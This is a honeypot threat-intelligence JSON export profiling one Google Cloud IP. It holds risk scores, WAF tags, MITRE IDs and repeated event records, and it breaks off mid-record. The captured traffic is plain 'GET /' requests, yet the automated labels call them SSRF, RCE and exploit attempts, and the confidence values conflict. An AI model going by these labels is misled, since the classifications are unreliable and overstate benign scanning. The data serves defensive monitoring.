{"ip":"34.19.116.51","exported_at":"2026-08-02T05:40:00+00:00","period_days":30,"metrics":{"events7d":139,"distinct_ports":36,"distinct_classifications":11,"max_severity":10,"last_sensor_id":"paris-1","max_waf_score":35,"max_risk_score":80,"attack_stage":"exploit_attempt","attack_chain_stage":"reconnaissance","threat_family":["unknown"],"recommended_action":"investigate","confidence":0.64,"risk_breakdown":{"waf":72,"classification":80,"behavior":0,"geo":40,"protocol":33,"novelty":15},"mitre_tactics":["TA0001","TA0002"],"mitre_technique":"TA0001","top_mitre_technique":"T1046","top_mitre_count":67,"executive_one_liner_fr":"Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)","campaign_hint_fr":"Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)","confidence_breakdown":{"waf":72,"classification":80,"behavior":0,"geo":40,"protocol":33,"novelty":15,"risk_score":55,"correlation_boost":10},"persona_hostname":"mail.sensor-1.internal","correlation_flags":["scan_coordonn\u00e9"],"correlation_flags_labels_fr":["Scan coordonn\u00e9"],"confidence_pct":64,"confidence_hint_fr":"Corr\u00e9lation +10","sensor_role_label_fr":"Renseignement menaces","tags_summary_labels_fr":["CRS-920350"],"tags_summary":["CRS-920350"],"attack_vector":"ssrf internal \u00b7 via HTTP:8889 \u00b7 (tentative d\u0027exploit)","protocol_details":{"http_method":"GET","http_path":"\/","request_line":"GET \/ HTTP\/1.1","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","port":8889,"service":"http","service_label_fr":"HTTP"},"protocol_summary_fr":"GET \/ \u00b7 UA Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7)\u2026 \u00b7 HTTP:8889","evidence_snippet":"GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.","target_port_label":"8889 \u00b7 HTTP","emulator_service":"http","confidence_reason":"Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF","classification_reason":"Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%","classification_reason_label_fr":"Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%","confidence_factors_fr":"Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF","payload_preview":"GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8889\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537."},"events":[{"id":14697023,"ip":"34.19.116.51","ts":"2026-07-31 15:44:42.000000","proto":"tcp","src_port":28833,"dst_port":8889,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u00227d18989cf71208a1dabdcc0db3e010901e18bff2\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 185, \u0022payload_entropy\u0022: 5.375270168895017, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8889, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 55, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022efda09e5cee92718e445a6122f149282746a72a6\u0022, \u0022event_fingerprint\u0022: \u00224fff8d3cfc5f58b0940132570ba7fa53281c3e42\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.64, \u0022classification_confidence\u0022: 0.64, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 55, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u00220f1ad191ccf34abce9f0c913b4a45aa3\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8889, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 55}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8889\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8889\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8889\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8889\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8889\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002282cc9b32b26e85dced415da70b9b9833da50b421\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8889, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8889\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8889 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228889 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 64, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 55, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 55, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8889, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8889, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8889 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8889\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228889 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228889\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 4, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8889","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":185},{"id":14696638,"ip":"34.19.116.51","ts":"2026-07-31 15:44:30.000000","proto":"tcp","src_port":36865,"dst_port":8880,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022c3a8697c6c279a95f0caf2b5f47944b1de8a6733\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 216, \u0022payload_entropy\u0022: 5.401595848748727, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8880, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 53, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00229c30ce3198befc881fb2b9eff62dd52155021f5f\u0022, \u0022event_fingerprint\u0022: \u0022d02d0cf983692d58cdb0cfca4295b2fba7206c25\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.64, \u0022classification_confidence\u0022: 0.64, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002230237c9195f7e2c3c3816dbedf5253c1\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 53}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022b22d0ca9eb6c8a4136b93a35485bf5b453e84da2\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8880, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8880 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228880 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 64, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 53, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8880, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: 